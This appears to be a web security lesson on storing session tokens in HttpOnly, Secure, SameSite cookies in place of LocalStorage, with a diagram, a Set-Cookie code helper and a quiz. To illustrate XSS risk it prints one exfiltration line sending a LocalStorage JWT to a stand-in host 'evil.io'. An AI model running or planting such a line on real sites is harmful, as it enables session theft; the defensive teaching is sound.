Skip to content
Back to CurriculumLesson 06 of 30
sessions-cookiesIntermediate

Storage & Transport Security: HttpOnly SameSite Cookies vs Bearer Tokens

Storing sensitive authentication tokens in browser LocalStorage exposes them to instant exfiltration via Cross-Site Scripting (XSS). HttpOnly, Secure, SameSite=Lax/Strict cookies are completely inaccessible to JavaScript, insulating sessions from XSS token theft.

Interactive Visual Concept ExplainerStep-by-Step Educational Simulation
Visual Step-by-Step Concept Explainersessions-cookies
Storage & Transport Security: HttpOnly SameSite Cookies vs Bearer Tokens
Steps:
LocalStorage (Bearer Token)XSS VULNERABLE
Accessible by JavaScript: YES
fetch('https://evil.io/steal?t=' + localStorage.getItem('jwt'))
Any injected script (XSS) steals the token instantly!
HttpOnly Cookie (Recommended)IMMUNE TO XSS
Accessible by JavaScript: NO (BLOCKED)
Set-Cookie: token=...; HttpOnly; Secure; SameSite=Lax
Browser completely hides cookie from document.cookie and XSS scripts!
Toggle Storage Mode:
Step 1 of 6
Auto-stepping (1x)

Step 1: User authenticates with valid credentials.

Security Guarantee: Never store long-lived sensitive authentication tokens in LocalStorage or SessionStorage.
Why This Architectural Concept Exists

Browsers execute third-party JavaScript (npm packages, analytics, CDNs). If an application stores sensitive session tokens in LocalStorage or sessionStorage, a single XSS flaw compromises the entire identity. Cookies with the HttpOnly flag provide hardware-like browser enforcement that blocks document.cookie access.

Intuitive Mental Model

The Bank Vault Deposit Box vs Cash on the Nightstand: LocalStorage is cash sitting on your nightstand; anyone who steps into your room (malicious script) can grab it. An HttpOnly cookie is a bank deposit box where only the bank teller (the browser itself) can hand the funds directly to the merchant on outbound requests.

Architectural System TopologyProtocol Diagram
[ Malicious Script (XSS) ] 
       │ 
       ├──► Attempts: document.cookie ────────► [ BLOCKED: Returns Empty String ]
       └──► Attempts: localStorage.getItem() ──► [ COMPROMISED: Token Stolen! ]

[ Legitimate Browser Request ]
       │
       ▼ (Automatic inclusion by Browser Network Stack)
[ Outbound HTTPS Request ] ──(Cookie: sid=sess_123; Secure; HttpOnly)──► [ CosmosApp Server ]
CosmosApp Production Milestone

CosmosApp evaluates where to store its web session tokens. Rather than writing tokens to window.localStorage where any rogue analytics script could exfiltrate them, CosmosApp issues HttpOnly, Secure, SameSite=Lax cookies with the __Host- prefix. JavaScript running in the browser cannot read or exfiltrate the session cookie.

Step-by-Step Execution Sequence
01

Step 1: User authenticates with valid credentials.

02

Step 2: Server generates a cryptographically secure 256-bit session token.

03

Step 3: Server responds with Set-Cookie header containing: __Host-sid=..., Secure, HttpOnly, SameSite=Lax, Path=/.

04

Step 4: Browser stores the cookie in its isolated cookie jar, hidden from DOM JavaScript APIs.

05

Step 5: On subsequent requests to the same origin, the browser network stack automatically attaches the cookie.

06

Step 6: If an attacker injects a script (XSS), calls to document.cookie return empty for HttpOnly cookies.

Production Architecture Blueprint
// CosmosApp Set-Cookie Header Configuration:
export function setAuthCookie(res: Response, token: string) {
  res.headers.set(
    'Set-Cookie',
    `__Host-sid=${token}; ` +
    `Path=/; ` +
    `Secure; ` +
    `HttpOnly; ` +
    `SameSite=Lax; ` +
    `Max-Age=28800` // 8 hours absolute
  );
}
Common Architectural Misconceptions
  • ✕HttpOnly cookies prevent Cross-Site Scripting (HttpOnly does not prevent XSS; it prevents XSS from stealing the session token).
  • ✕LocalStorage is more secure because cookies are vulnerable to CSRF (Modern SameSite=Lax/Strict cookies and CSRF tokens defeat CSRF while retaining XSS immunity).

Key Architectural Takeaways

  • ✓Never store long-lived sensitive authentication tokens in LocalStorage or SessionStorage.
  • ✓Use HttpOnly, Secure, SameSite=Lax/Strict cookies for web application session persistence.
  • ✓Use the __Host- cookie prefix to enforce that cookies are only sent over HTTPS to the exact issuing host.
Common Architectural Pitfall

Storing JWTs in LocalStorage because it's 'easy to attach as a Bearer token in fetch()'.

Production Best Practice Fix

Use HttpOnly cookies. If an API requires Bearer tokens for mobile/CLI clients, provide an isolated OAuth token exchange endpoint.

Interactive Knowledge Check

What protection does the HttpOnly flag on a cookie provide to an application?